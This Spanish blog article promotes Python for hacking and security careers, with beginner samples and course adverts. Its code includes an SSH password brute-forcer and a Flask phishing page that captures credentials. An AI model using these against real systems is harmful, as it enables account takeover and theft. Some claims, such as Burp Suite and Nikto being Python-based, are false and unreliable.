Python para hackers en 2025

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Índice

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Lista de lo que aprenderás en este artículo sobre Python para Hackers en 2025

Por qué Python es esencial en ciberseguridad y hacking ético:
Descubre cómo su versatilidad y simplicidad lo convierten en una herramienta imprescindible para automatizar tareas y crear herramientas de seguridad.
Aplicaciones específicas de Python en ciberseguridad:
Conoce los usos de Python en pentesting, análisis de redes, ingeniería social, reversión de malware, criptografía y más.
Bibliotecas populares para hacking:
Explora herramientas como Scapy, Pwntools, Impacket, Requests y Flask, fundamentales para tareas avanzadas de ciberseguridad.
Proyectos prácticos con Python:
Aprende a construir un Web Scraper, un escáner de puertos o un script de fuerza bruta para fortalecer tus habilidades.
Buenas prácticas al aprender Python:
Descubre los mejores métodos para aprender Python desde cero, cómo construir proyectos útiles y los errores comunes a evitar.
Herramientas desarrolladas con Python:
Familiarízate con herramientas populares de hacking como Metasploit, Burp Suite y Scapy, que aprovechan el poder de Python.
Oportunidades laborales relacionadas con Python:
Conoce cómo el dominio de Python puede aumentar tus ingresos y mejorar tus perspectivas en roles como analista de seguridad, pentester o ingeniero de redes.

Python para hackers en 2025

Python es, sin duda, el lenguaje de programación favorito de los hackers y expertos en ciberseguridad. Su versatilidad, simplicidad y la vasta cantidad de bibliotecas disponibles lo convierten en una herramienta esencial tanto para pentesters como para aquellos interesados en la automatización, el análisis de redes y la creación de exploits.

En este artículo, exploraremos cómo Python puede ser utilizado por hackers en diversas áreas de la ciberseguridad, junto con ejemplos prácticos y las herramientas más populares.

¿Qué es Python?

Python es un lenguaje de programación de alto nivel, interpretado y de propósito general que ha experimentado un fuerte aumento en popularidad debido a su sintaxis simple y su rico conjunto de funciones. El lenguaje fue creado en 1991 por Guido van Rossum y es uno de los lenguajes de programación más utilizados en la actualidad, con un 49% de los desarrolladores que lo utilizan .

Sólo las tecnologías web JavaScript y HTML/CSS son más populares que Python entre los desarrolladores.

Python es el lenguaje que se enseña a la mayoría de las personas interesadas en aprender a programar debido a su legibilidad, simplicidad y conjunto de funciones. El lenguaje admite muchos componentes clave de la programación orientada a objetos y puede usarse para crear cualquier cosa, desde scripts básicos hasta sitios web comerciales y algoritmos de inteligencia artificial.

¿Por qué es popular Python?

El lenguaje de programación Python es simple, fácil de usar e increíblemente poderoso. Esto ha hecho que el lenguaje de programación crezca enormemente en popularidad, y muchos proyectos y herramientas de programación modernos han optado por adoptar el lenguaje. Dicho esto, hay aún más razones para elegir Python. Echemos un vistazo a esos:

Legibilidad:

El código Python es muy legible. El lenguaje utiliza sangría, espacios en blanco y sintaxis limpia para facilitar a los programadores escribir funciones complejas en muy pocas líneas de código.

Interpretado:

Los scripts de Python se ejecutan en tiempo de ejecución. Esto significa que no necesita compilar su código, lo que hace que el desarrollo sea rápido y flexible.

Versatilidad:

Python admite diferentes tipos de paradigmas de programación, tiene una extensa colección de bibliotecas y marcos para diversas aplicaciones y ofrece soporte multiplataforma para Windows, Mac y Linux.

Gran biblioteca estándar:

Python tiene una biblioteca estándar completa que viene con el lenguaje listo para usar. Esto significa que no necesita perder tiempo escribiendo código para funcionalidades comunes, puede concentrarse en su caso de uso particular.

Escrito dinámicamente:

Los tipos de variables se determinan en tiempo de ejecución en Python para que pueda escribir código más rápido.

Comunidad de apoyo y ecosistema completo:

Python tiene una gran comunidad de contribuyentes que mejoran periódicamente el lenguaje actualizando el backend de código abierto, agregando bibliotecas y herramientas de Python de terceros para mejorar las capacidades del lenguaje o creando materiales de capacitación.

Recolección de basura:

Python tiene un recolector de basura incorporado que maneja todas sus necesidades de administración de memoria. No necesita preocuparse por la asignación de memoria o problemas complejos de administración de memoria como ocurre en otros lenguajes como C++ o Rust.

Estas razones hacen de Python una opción convincente para cualquier desarrollador y una excelente opción para los profesionales de la seguridad cibernética.

¿Por qué Python es Ideal para el Hacking?

Python sobresale en el mundo del hacking por varias razones:

Fácil de aprender: La sintaxis simple permite a los hackers centrarse en resolver problemas en lugar de lidiar con la complejidad del lenguaje.
Multiplataforma: Funciona en Windows, Linux, macOS y otros sistemas operativos, lo que es ideal para escenarios diversos.
Amplia comunidad: Hay miles de bibliotecas diseñadas específicamente para la seguridad informática y el análisis de datos.
Rápido desarrollo: Puedes crear scripts y herramientas en tiempo récord.
Integración con otras tecnologías: Desde la manipulación de redes hasta el análisis de binarios, Python puede integrarse con prácticamente cualquier tecnología.

Python para la seguridad cibernética

Ahora conoces las razones para usar Python. Veamos cómo se utiliza Python en la seguridad cibernética para ayudar a los profesionales a automatizar tareas, optimizar sus flujos de trabajo y crear herramientas increíbles.

Pentester

Un Pentester es alguien que simula un ataque cibernético contra un sistema informático, una red o una aplicación para descubrir vulnerabilidades o brechas de seguridad que deben mitigarse. A menudo utilizan Python para crear o modificar exploits y automatizar sus actividades de prueba mediante scripts de ejecución de una herramienta o encadenando varias herramientas.

Python tiene un extenso ecosistema de bibliotecas de terceros que son perfectas para automatizar pruebas de seguridad, como solicitudes de prueba de API o Scapy para web scraping. El lenguaje también se puede integrar con herramientas de prueba de penetración populares como Nmap , Metasploit y Burp Suite .

Analistas de seguridad

Un analista de seguridad es responsable de defender los sistemas informáticos y la red de una organización de los ataques cibernéticos. Esto requiere que supervisen las herramientas de seguridad y analicen los registros para investigar actividades maliciosas. Python puede ayudarlos a lograr esto automatizando el análisis de registros, utilizando algoritmos para detectar anomalías en la red o comportamientos sospechosos de los usuarios y automatizando acciones de respuesta como aislar sistemas.

Python tiene amplias bibliotecas de análisis de datos como Pandas y bibliotecas de aprendizaje automático como PyTorch que los analistas de seguridad pueden utilizar para descubrir anomalías. También pueden usar Python para interactuar con API, como la herramienta de detección y respuesta de endpoints (EDR), FalconPy de CrowdStrike Falcon o la biblioteca vt-py de VirusTotal para una respuesta e investigación más rápidas.

Los nuevos certificados de nivel básico en ciberseguridad, como el Certificado de ciberseguridad de Google, enseñan Python como parte de su plan de estudios. Esto muestra la importancia de Python para la seguridad cibernética y para los analistas de seguridad en particular.

Respondedores de incidentes

Los servicios de respuesta a incidentes son profesionales a los que se llama cuando ocurre un incidente de seguridad. Son responsables de contener, erradicar y recuperarse de un ciberataque o violación de datos. Gran parte de su trabajo implica recopilar, procesar y analizar datos forenses de archivos de registro del sistema y de la red. Un lenguaje de programación como Python es increíblemente útil para esto.

La capacidad de Python para manejar diferentes formatos de datos y bibliotecas de terceros que admiten el análisis de registros permite a los respondedores de incidentes automatizar partes de su flujo de trabajo que consumen mucho tiempo para que puedan concentrarse en clasificar y remediar incidentes. La biblioteca YARA para detectar malware, la biblioteca pySigma para detectar actividad maliciosa en archivos de registro y la biblioteca PyMISP para consultar inteligencia sobre amenazas son útiles para los respondedores de incidentes.

Investigadores de seguridad cibernética

Los investigadores de seguridad se dedican a descubrir vulnerabilidades, amenazas y riesgos en sistemas, aplicaciones y redes informáticas. Identifican debilidades, desarrollan soluciones para explotarlas y luego informan lo que encuentran a los proveedores de seguridad para que se pueda solucionar el problema.

Python es una herramienta útil en el arsenal de un investigador de seguridad cibernética. Las bibliotecas de terceros como pwntools y Atheris les permiten automatizar la simulación de ciberataques complejos para encontrar vulnerabilidades. Este proceso se conoce como fuzzing y es un método popular utilizado para descubrir vulnerabilidades potenciales.

Ingenieros de seguridad de redes

Un ingeniero de seguridad de redes es responsable de diseñar, implementar y mantener una infraestructura de red segura para una organización. Deben garantizar continuamente la confidencialidad, integridad y disponibilidad de la información dentro del entorno de red de una organización.

Python se ha convertido en los últimos años en un lenguaje imprescindible para los ingenieros de seguridad de redes. La infraestructura como código (IaC) se ha convertido en el estándar para muchas organizaciones debido a su alta disponibilidad, rápidas velocidades de implementación y seguridad. Esto significa que los ingenieros de seguridad de redes deben saber cómo implementar e implementar cambios mediante programación en la infraestructura de red utilizando Python y otras tecnologías como Terraform y Ansible .

Criptógrafos

Los criptógrafos son profesionales de la seguridad cibernética que protegen las comunicaciones y los datos mediante algoritmos criptográficos. Estos algoritmos son esenciales para la confidencialidad, integridad y disponibilidad de los datos en la red (en tránsito) y en los sistemas informáticos (en reposo).

Python es un excelente lenguaje para crear prototipos y probar algoritmos criptográficos utilizando bibliotecas como PyCryptodome , Cryptography y Fernet . Aunque no deberías escribir tus algoritmos criptográficos en Python (quieres un lenguaje de nivel inferior como C o C++), las bibliotecas matemáticas de Python, la simplicidad en el manejo de datos binarios y hexadecimales y las capacidades de automatización lo hacen ideal para probar o simular ataques criptográficos.

Evaluadores de vulnerabilidad

Los evaluadores de vulnerabilidad identifican y evalúan vulnerabilidades en sistemas informáticos, redes, aplicaciones e infraestructuras. Al igual que los probadores de penetración, son responsables de encontrar debilidades que podrían ser aprovechadas por atacantes maliciosos (a diferencia de los probadores de penetración, no intentan explotar estas vulnerabilidades).

Los evaluadores de vulnerabilidades deben identificar y evaluar rápidamente las vulnerabilidades en cientos o miles de sistemas. Aquí es donde Python tiene un valor incalculable. Python permite a los evaluadores de vulnerabilidades automatizar el escaneo y análisis de sistemas en busca de vulnerabilidades mediante la creación de scripts de Python personalizados para verificar las debilidades conocidas y la integración de diferentes herramientas de evaluación de vulnerabilidades como Nmap, Nessus y Greenbone Vulnerability Manager (OpenVAS) .

Especialistas forenses

Los especialistas forenses recopilan, analizan y preservan evidencia digital para investigaciones legales y de seguridad cibernética. Desempeñan un papel crucial en el descubrimiento de evidencia relacionada con delitos cibernéticos y violaciones de datos al trabajar con otros profesionales de la seguridad cibernética para recuperar, examinar y documentar evidencia digital presente en los sistemas informáticos y en los registros de la red.

Python permite a los especialistas forenses automatizar muchos de los procesos tediosos y lentos que forman parte de su trabajo. Por ejemplo, puede utilizar Python para crear herramientas que automaticen la recopilación y el procesamiento de pruebas digitales, recuperen datos de sistemas informáticos y analicen diferentes formatos de archivos durante las investigaciones.

Analista de malware

Un analista de malware es un profesional de la ciberseguridad capacitado para estudiar y analizar software malicioso (malware). Son responsables de comprender, identificar y proporcionar información a los analistas de seguridad que pueda utilizarse para mitigar el impacto del malware y proteger el entorno corporativo.

Las capacidades de automatización de Python lo convierten en una herramienta ideal para optimizar el flujo de trabajo de un analista de malware. Pueden usarlo para automatizar tareas rutinarias (p. ej., configurar un entorno de análisis de malware, manejo de archivos y extracción de datos), para análisis de malware estático básico (p. ej., verificar hashes de archivos, encabezados PE, etc.) y tareas de scripting en especialistas. herramientas de análisis de malware juntas como Ghidra, IDA Pro y x64dbg .

¿Cómo empiezo a aprender Python?

A pesar de que Python es uno de los lenguajes más fáciles de aprender, puede resultar abrumador para quienes son nuevos en la programación. A continuación se ofrecen algunos consejos y sugerencias que le ayudarán a comenzar su viaje de aprendizaje.

Cosas que hacer al aprender Python

Construir proyectos : construir sus propios proyectos para cumplir con su caso de uso es la mejor manera de aprender sobre Python y lo que puede hacer. Por ejemplo, cree un proyecto para automatizar tareas repetitivas en el trabajo (por ejemplo, ejecutar múltiples comandos de Linux, trabajar con datos en una hoja de cálculo o averiguar cómo está el clima hoy).
Comparta lo que está aprendiendo : escriba publicaciones de blog o actualizaciones en las redes sociales sobre su aprendizaje y comparta este conocimiento con otros. Enseñarle a otra persona lo que estás aprendiendo te ayuda a comprender completamente conceptos complejos.
Leer el código de otras personas : es útil ver cómo otras personas con más experiencia escriben, estructuran y organizan su código. Obtendrá información sobre cómo mejorar sus proyectos de Python.
Codifique todos los días : la práctica constante es clave para aprender cualquier tema nuevo. Codificar un poco a diario desarrollará la memoria muscular y las sinapsis neurológicas necesarias para dominar Python.

Errores a evitar al aprender Python

Intentar aprender otro idioma simultáneamente : limítese a aprender un idioma a la vez. Las características, componentes y sintaxis adicionales del lenguaje solo lo confundirán y ralentizarán su aprendizaje.
Saltarse los fundamentos : intentar lanzarse a un proyecto complejo sin tener una comprensión sólida de los fundamentos de la programación obstaculizará el desarrollo y lo dejará frustrado.
No practicar lo que estás aprendiendo : debes practicar lo que estás aprendiendo en tutoriales y cursos para que puedas comenzar a crear tus propios proyectos, scripts personalizados y herramientas.
No buscar ayuda : Intentar solucionarlo todo por tu cuenta puede resultar increíblemente frustrante y llevar mucho tiempo. Encuentra un compañero de estudio, una comunidad o un mentor que pueda ayudarte cuando te quedes estancado.

Conclusión sobre Python para hackers

Python es un poderoso lenguaje de programación que mejorará tus habilidades y te hará muy valioso en ciberseguridad. Se puede utilizar para automatizar tareas que requieren mucho tiempo, aumentar su flujo de trabajo con sus capacidades versátiles y crear herramientas completas de ciberseguridad.

La popularidad de Python ha aumentado en los últimos años debido a su naturaleza fácil de usar, su sintaxis simple y su rico conjunto de funciones. Ha descubierto cómo se puede utilizar Python en muchas profesiones de seguridad cibernética, desde roles de defensa de primera línea, como analistas de seguridad, hasta disciplinas fuertemente científicas y matemáticas como la criptografía.

Preguntas frecuentes

¿Se utiliza Python en redes?

Sí. El lenguaje Python se utiliza ampliamente en redes para automatizar diversas tareas, como configurar herramientas, monitorear entornos de TI, configurar infraestructura como código (IaC) y automatizar tareas de mantenimiento. También se utiliza para aprovisionar la nube utilizando tecnologías como AWS, Google Cloud y Azure.

¿Es difícil aprender Python?

Python es uno de los lenguajes más fáciles de aprender y adquirir una comprensión básica en unos pocos meses. Se enseña como parte de muchos planes de estudios de escuelas secundarias y universidades. El lenguaje abstrae muchas de las operaciones complejas de bajo nivel de lenguajes de programación como C, C++ y Rust. Esto hace que aprender a programar sea considerablemente más fácil.

¿Conocer Python aumentará mi salario?

Sí. Aprender Python agregará otra herramienta a tu conjunto de habilidades y te convertirá en un candidato más atractivo para posibles reclutadores. Esto le abrirá nuevas oportunidades dentro de su dominio actual (por ejemplo, pasar de un probador de penetración junior a uno senior) o la opción de realizar la transición a un nuevo rol, como el de ingeniero de seguridad.

Un pentester senior puede ganar un promedio de $134,000 en comparación con un probador de penetración junior que gana $76,000. Mientras tanto, un ingeniero de seguridad puede ganar hasta 148.000 dólares , significativamente más que otros roles de seguridad cibernética.

¿Necesito Python para convertirme en hacker?

No al principio. Cuando estás aprendiendo por primera vez las habilidades necesarias para convertirte en un probador de penetración (hacker), no necesitas saber ningún lenguaje de programación. Sin embargo, a medida que avance en su carrera, aprender un lenguaje de programación como Python será muy beneficioso, ya que la mayoría de los exploits están escritos en Python. Esto le abrirá nuevas oportunidades, mejorará sus habilidades existentes y reforzará su currículum.

Beneficios de Python para el hacking

Python es un lenguaje de programación popular utilizado en el desarrollo web, la investigación científica y el hacking. Es versátil y adecuado tanto para desarrolladores experimentados como para principiantes. Python tiene una sintaxis sencilla que se parece al inglés y ejecuta el código línea por línea. Esto elimina la necesidad de complejos procesos de compilación.

Además, Python ofrece una amplia gama de módulos en su biblioteca estándar para tareas como manejo de datos, matemáticas y conectividad a Internet. Estos módulos ahorran tiempo y esfuerzo a los desarrolladores.

La versatilidad de Python es evidente en su integración sencilla con herramientas de hacking conocidas como BurpSuite y Social-Engineer Toolkit (SET) . Esta perfecta operatividad permite a los hackers combinar las capacidades de Python con herramientas especializadas, mejorando su eficiencia y eficacia a la hora de identificar vulnerabilidades y fortalecer los sistemas.

En resumen, la naturaleza fácil de usar de Python, sus extensas bibliotecas y su compatibilidad con herramientas de hacking esenciales lo posicionan como la mejor opción para hackers, cuyo objetivo es fortalecer la seguridad digital.

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¡Construyamos un Web Scraper de Python!

Si es nuevo en Python y está ansioso por ensuciarse las manos, existen varios proyectos para principiantes que ofrecen valor educativo y de entretenimiento. Siempre puedes comenzar con una tarea interesante, como crear una aplicación de lista de tareas pendientes o una calculadora básica. Pero ahora, centrémonos en construir un Web Scraper de interfaz de línea de comandos (CLI) básico usando Python.

Comprender el Web Scraper

El web scraping es un método utilizado para recopilar datos de sitios web. Muchos desarrolladores prefieren usar Python para el web scraping debido a sus extensas bibliotecas, como Requests para manejar solicitudes HTTP y Beautiful Soup para analizar HTML. Aquí hay una guía sencilla sobre cómo crear un Web Scraper usando Python en la interfaz de línea de comandos (CLI).

Ahora, ¡codifiquemos!

Comenzamos el script importando las bibliotecas de Python necesarias: BeautifulSoupy Requests:

import requests from bs4 import BeautifulSoup

La biblioteca Requests se usa ampliamente en Python para realizar solicitudes HTTP a sitios web. Su función principal es permitir la descarga del contenido HTML de una página web.

BeautifulSoup es una útil biblioteca que nos permite extraer datos y navegar por documentos HTML. Con BeautifulSoup, podemos manipular fácilmente el contenido HTML de las páginas web.

En este paso, definimos una función llamada scrape_blog, que realizará el web scraping. Se necesita un único argumento, urlque representa la URL del blog que queremos eliminar.

def scrape_blog(url):

El bloque try comienza realizando una solicitud HTTP GET a la URL especificada utilizando el requests.get(url)método. Esto recupera el contenido HTML de la página web.

try:
        response = requests.get(url)

Luego, usamos response.raise_for_status()para verificar si la solicitud HTTP fue exitosa. Si hubo un problema, se generará una excepción y la manejamos en el bloque de excepción.

response.raise_for_status()
    except requests.exceptions.RequestException as e:
        print(f"Failed to retrieve the page: {e}")
        return

Manejo de errores

Si hay un error en la solicitud HTTP, el script mostrará un mensaje de error y saldrá.

Una vez que tenemos el contenido HTML de la página web, creamos un objeto BeautifulSoup llamado sopa para analizarlo. Especificamos 'html.parser'como analizador a utilizar.

 soup = BeautifulSoup(response.text, 'html.parser')

La siguiente línea de código busca todos los títulos de los artículos en la página web. Asumimos que estos títulos están encerrados en <h2>etiquetas HTML y las utilizamos soup.find_all('h2')para ubicarlos.

articles = soup.find_all('h2')

Si el script encuentra títulos de artículos, ingresa en un bucle para imprimir cada uno usando article.get_text(). Este método extrae el texto de las etiquetas HTML.

if articles:
        for article in articles:
            print(article.get_text())

Si no se encuentran títulos de artículos en la página, el script imprime un mensaje indicando que no se encontraron títulos.

else:
        print("No article titles found on the page.")

Finalmente, el script verifica si se está ejecutando como programa principal usando if __name__ == "__main__". Si es así, solicita al usuario que ingrese la URL del blog que desea extraer y llama a la función scrape_blog con esa URL.

if __name__ == "__main__":
    url = input("Enter the URL of the blog: ")
    scrape_blog(url)

¡Y eso es! Este desglose paso a paso debería ayudarle a comprender cómo funciona el script para extraer y mostrar títulos de artículos de una página web.

El código completo se verá así:

import requests
from bs4 import BeautifulSoup
def scrape_blog(url):
    try:
        response = requests.get(url)
        response.raise_for_status()
    except requests.exceptions.RequestException as e:
        print(f"Failed to retrieve the page: {e}")
        return
    soup = BeautifulSoup(response.text, 'html.parser')
    articles = soup.find_all('h2')  # Assuming article titles are in <h2> tags
    if articles:
        for article in articles:
            print(article.get_text())
    else:
        print("No article titles found on the page.")
if __name__ == "__main__":
    url = input("Enter the URL of the blog: ")
    scrape_blog(url)

¿Cuáles son algunos otros proyectos aptos para principiantes?

Para aquellos que buscan profundizar más, considere proyectos desafiantes como diseñar un cambiador de direcciones MAC, un generador de contraseñas potente o desarrollar un Ping Sweeper. Estos esfuerzos no solo ayudan a reforzar su comprensión de los conceptos básicos de Python, sino que también brindan una valiosa experiencia práctica con conceptos de redes y automatización.

Generador de contraseñas seguras : un generador de contraseñas de Python es un script que crea contraseñas seguras y aleatorias. Este proyecto le permite poner en práctica la manipulación de cadenas, la generación de números aleatorios y los bucles. Al crear su propio generador de contraseñas, no solo obtendrá una mejor comprensión de Python, sino que también aprenderá la importancia de administrar las contraseñas de forma segura.

Cambiador de dirección MAC : para disfrazar la identidad de su dispositivo en una red, esta herramienta utiliza las bibliotecas de subprocesos y sockets de Python para interactuar con el sistema operativo. Proporciona la posibilidad de especificar una nueva dirección MAC para su NIC (tarjeta de interfaz de red). Es esencial para garantizar el anonimato y la seguridad, especialmente al navegar por redes o realizar pruebas de penetración.

Ping Sweeper : un ping Sweeper es una herramienta útil de Python que automatiza el proceso de hacer ping a múltiples direcciones IP en una red. Al identificar hosts en vivo, le permite mapear de manera efectiva la topología de la red.

¿Necesito conocer Python para ser un hacker?

En este capítulo, cubriremos tres grandes razones para aprender Python.

Número de exploits preescritos en Python

La popularidad de Python en la comunidad de hackers se justifica por su simplicidad y versatilidad. La abundancia de exploits y herramientas preescritas disponibles en Python reduce en gran medida las barreras de entrada para los hackers.

Una búsqueda rápida en la web puede proporcionar scripts de Python diseñados para abordar diversas vulnerabilidades y debilidades en los sistemas. Estos recursos sirven como valiosos puntos de partida para los aspirantes a hackers, permitiéndoles analizar y captar los vectores de ataque sin tener que construir todo desde cero.

Número de herramientas escritas en Python

La amplia gama de bibliotecas y frameworks disponibles en Python ha contribuido al desarrollo de numerosas herramientas de hacking escritas en este lenguaje. Herramientas como Nikto, Burp Suite y Scapy, todas basadas en Python, ofrecen a los hackerss una colección sólida para realizar diversas tareas relacionadas con el escaneo de redes, el análisis de vulnerabilidades, el desarrollo de exploits y las actividades posteriores a la explotación.

La flexibilidad de Python permite a los hackers personalizar sus flujos de trabajo de manera eficiente. Metasploit, por ejemplo, está escrito en Ruby, pero un gran porcentaje de sus exploits están escritos en Python, lo que hace que se ejecuten en casi cualquier lugar.

¡Escribir el tuyo propio te convertirá en un mejor hacker!

Si bien aprovechar los exploits existentes de Python es una excelente manera de comenzar, escribir su propio código es irremplazable. La creación de exploits y herramientas personalizados no solo mejora su comprensión de los métodos de hackeo, sino que también mejora sus habilidades para resolver problemas.

Al desarrollar sus soluciones únicas, se convierte en un hacker más completo que puede adaptarse a nuevos desafíos y abordar problemas complejos de manera efectiva. Según nuestra experiencia, aprender Python y desarrollar sus propias herramientas cli desde cero puede ayudarlo a desarrollar una comprensión más profunda tanto de la programación como del hacking, y ayudarlo aún más en su viaje de Pentesting.

Áreas de Hacking en las que Python es Útil

Reconocimiento y Enumeración

En el hacking ético, el reconocimiento es crucial. Python permite automatizar tareas como el escaneo de redes, la recopilación de información pública (OSINT) y la enumeración de servicios.

Ejemplo de Escaneo de Puertos

import socket

def scan_ports(host, ports):
    print(f"Escaneando {host}")
    for port in ports:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(1)
        result = sock.connect_ex((host, port))
        if result == 0:
            print(f"Puerto {port} está abierto")
        sock.close()

host = "192.168.1.1"
ports = [22, 80, 443, 8080]
scan_ports(host, ports)

Este script simple realiza un escaneo de puertos y devuelve cuáles están abiertos.

Explotación de Vulnerabilidades

Python es ideal para escribir scripts que explotan vulnerabilidades conocidas. Muchas plataformas de exploits, como Impacket y pwntools, están basadas en Python.

Ejemplo: Fuerza Bruta en SSH

Con la biblioteca paramiko, puedes escribir un script para realizar ataques de fuerza bruta a servicios SSH (solo para propósitos educativos y éticos).

pythonCopiar códigoimport paramiko

def ssh_bruteforce(host, username, password_list):
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    for password in password_list:
        try:
            client.connect(host, username=username, password=password, timeout=3)
            print(f"Contraseña encontrada: {password}")
            return
        except paramiko.AuthenticationException:
            pass
        except Exception as e:
            print(f"Error: {e}")
    print("Fuerza bruta fallida")

host = "192.168.1.1"
username = "admin"
password_list = ["1234", "admin", "password", "root"]
ssh_bruteforce(host, username, password_list)

Este script intenta múltiples contraseñas para iniciar sesión en un servidor SSH.

Ingeniería Social y Phishing

Python puede utilizarse para crear herramientas de ingeniería social, como páginas falsas (phishing) o automatizar el envío de correos maliciosos (siempre de forma ética).

Ejemplo: Servidor Web de Phishing

Usando Flask, puedes configurar rápidamente un servidor web que capture credenciales de prueba (por razones educativas).

pythonCopiar códigofrom flask import Flask, request

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def phishing():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        print(f"Credenciales capturadas - Usuario: {username}, Contraseña: {password}")
        return "Error: Usuario o contraseña incorrectos."
    return '''
        <form method="post">
            Usuario: <input type="text" name="username"><br>
            Contraseña: <input type="password" name="password"><br>
            <input type="submit" value="Iniciar sesión">
        </form>
    '''

app.run(host='0.0.0.0', port=8080)

Este script crea un servidor web que simula un inicio de sesión falso y captura las credenciales ingresadas.

Análisis de Redes

Python ofrece herramientas avanzadas para monitorear, manipular y analizar tráfico de red. Con bibliotecas como Scapy, puedes crear y analizar paquetes de red personalizados.

Ejemplo: Sniffer de Red

pythonCopiar códigofrom scapy.all import *

def packet_sniffer(packet):
    if packet.haslayer(IP):
        ip_src = packet[IP].src
        ip_dst = packet[IP].dst
        print(f"Paquete IP detectado - Origen: {ip_src}, Destino: {ip_dst}")

sniff(filter="ip", prn=packet_sniffer)

Este script captura y muestra información básica de los paquetes IP en la red.

Reversing y Análisis de Malware

Python también es útil para analizar malware, desensamblar binarios y automatizar tareas de reversing. Con herramientas como pyREtic y unicorn, puedes realizar ingeniería inversa a programas.

Ejemplo: Análisis de Strings en un Binario

pythonCopiar códigoimport re

def extract_strings(file):
    with open(file, 'rb') as f:
        content = f.read()
    strings = re.findall(b"[ -~]{4,}", content)
    for string in strings:
        print(string.decode())

binary_file = "malware_sample.exe"
extract_strings(binary_file)

Este script extrae cadenas legibles de un binario para análisis preliminar.

Bibliotecas Populares de Python para Hacking

Scapy: Manipulación y análisis de tráfico de red.
Impacket: Implementación de protocolos para explotar redes.
Pwntools: Creación de exploits y herramientas CTF.
Requests: Automatización de solicitudes HTTP para pruebas web.
Socket: Programación de redes a bajo nivel.
Paramiko: Conexiones SSH y automatización.
Flask/Django: Creación de servidores para phishing o backdoors.

Buenas Prácticas y Ética

Mientras Python es una herramienta poderosa, la ética es clave en el hacking. Siempre utiliza estas habilidades para:

Realizar pruebas de penetración con permiso explícito.
Contribuir a mejorar la seguridad informática.
Educar a otros sobre la importancia de la ciberseguridad.

Recuerda: El hacking no es el problema; el uso indebido de estas herramientas sí lo es.

Python seguirá siendo un pilar en el hacking durante muchos años. Su versatilidad y poder lo convierten en el aliado perfecto para hackers éticos que buscan proteger sistemas o mejorar sus habilidades en ciberseguridad. ¡Empieza a explorar hoy mismo!

Preguntas frecuentes

¿Por qué utilizar Python para el hacking?

Python es un lenguaje de programación versátil que ofrece una amplia gama de herramientas y bibliotecas, lo que lo hace muy adecuado para tareas como pruebas de penetración y manipulación de redes. Su simplicidad y legibilidad son particularmente ventajosas para los hackers.

¿Necesito Python para la seguridad cibernética?

Si bien no es obligatorio, Python es muy ventajoso para los profesionales de la seguridad cibernética. Su capacidad para optimizar las tareas de automatización, desarrollo de herramientas y seguridad de la red lo convierte en un activo valioso en el campo.

¿Puedo aprender a hackear sin codificar?

Si bien es posible adquirir ciertas habilidades de hacking, tener habilidades de codificación mejora significativamente tus capacidades. Con conocimientos de codificación, puede desarrollar herramientas personalizadas y obtener una comprensión más profunda de las vulnerabilidades.

¿Python es un lenguaje de codificación o un lenguaje de secuencias de comandos?

Python es un lenguaje versátil que se puede utilizar tanto para fines de codificación como de secuencias de comandos. Admite varios estilos de programación, lo que lo hace adecuado para crear scripts pequeños y desarrollar aplicaciones grandes.

Conclusión

Python es una herramienta invaluable en el mundo del hacking, que ofrece versatilidad y una amplia gama de habilidades a quienes estén dispuestos a explorar sus capacidades. Desde proyectos para principiantes hasta tareas más avanzadas como web scraping, Python brinda oportunidades para comprender la manipulación de la red, la interacción del sistema y la mejora de la seguridad.

El script de Python analizado en este artículo demuestra cuán accesible y poderoso es Python para el web scraping. Ya sea que esté extrayendo datos, modificando direcciones MAC o creando exploits personalizados, Python permite a los hackers profundizar en el campo de la ciberseguridad.

Guía Rápida de Python

Optimiza tu enfoque en ciberseguridad con la Guía Rápida de Python: Estructuras de Datos. Aprende a fortalecer tus defensas digitales con Python hoy.

Guía Rápida de Python

Cursos gratis de CISCO:

PCAP: fundamentos de programación en Python

Certificación en Python: Certifícate como Programador PCEP

Aprende Python desde 0 a Profesional, con mucha practica y prepara la Certificación PCEP de Python. Simulacro de examen

¡Bienvenido al curso online de Certificación en Python: Certifícate como Programador PCEP!

Este curso está diseñado para brindarte las habilidades y conocimientos necesarios para convertirte en un programador certificado en Python (PCEP, por sus siglas en inglés). A través de una combinación de lecciones teóricas y prácticas, te guiaremos en un viaje de aprendizaje completo que te permitirá comprender y dominar los fundamentos de la programación en Python.

Ya sea que seas un principiante absoluto en la programación o un desarrollador con experiencia en otros lenguajes, este curso te proporcionará una base sólida para desarrollar tus habilidades de programación en Python. Comenzaremos desde lo básico, cubriendo los conceptos fundamentales como variables, tipos de datos, estructuras de control y funciones. A medida que avances, exploraremos temas más avanzados como listas, tuplas, diccionarios, programación orientada a objetos y manejo de excepciones.

Nuestro enfoque se basa en la combinación de teoría y práctica.

Cada lección teórica será seguida de ejercicios prácticos, desafíos de programación y proyectos para aplicar los conceptos aprendidos. También tendrás acceso a recursos adicionales, como ejemplos de código, documentación y bibliotecas populares de Python, que te ayudarán a desarrollar tus habilidades y explorar diferentes áreas de aplicación.

Al finalizar el curso, estarás preparado para presentar el examen de certificación PCEP (Python Institute Certified Entry-Level Python Programmer). La certificación PCEP es reconocida a nivel internacional y demuestra tus habilidades como programador en Python, lo que puede abrirte muchas puertas en la industria de la programación y el desarrollo de software.

No importa si estás buscando mejorar tus habilidades para tu carrera actual, cambiar de campo o iniciar tu camino como programador, este curso te brindará los conocimientos necesarios para destacar como un programador certificado en Python. ¡Únete a nosotros y comienza tu viaje hacia el éxito en la programación con Python!

Lo que aprenderás

Certificarse en Python PCEP
Qué es la Certificación PCEP
Temas para rendir la certificación PCEP
Simulaciones de Exámenes sobre la Certificación PCEP
Lógica y estructuras de Python
Variables y tipos de datos en Python
Operadores en Python, jerarquía, comparación
Ingreso de datos en Python
Estructuras de datos en Python, listas, tuplas, diccionarios
Estructuras de control en Python,
Funciones en Python, manejo de errores y excepciones
Práctica de Ejercicios para Reforzar temas de la certificación PCEP

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Python Practicando. Desde 0 hasta Desarrollador en Python

Aprende Python, donde iniciamos desde 0, sin conocimientos previos hasta desarrollar aplicaciones con mucha practica!

Lo que aprenderás

Ejercitar la lógica de programación
Comprender cómo la vida cotidiana puede ser fácilitada o simulada con código
Aprender programación desde cero
Usar Visual Studio Code como Editor de Código
Conocer y aprender el lenguaje de programación Python
Ser un programador desde cero, sin conocimiento en otro lenguaje o con algo previo
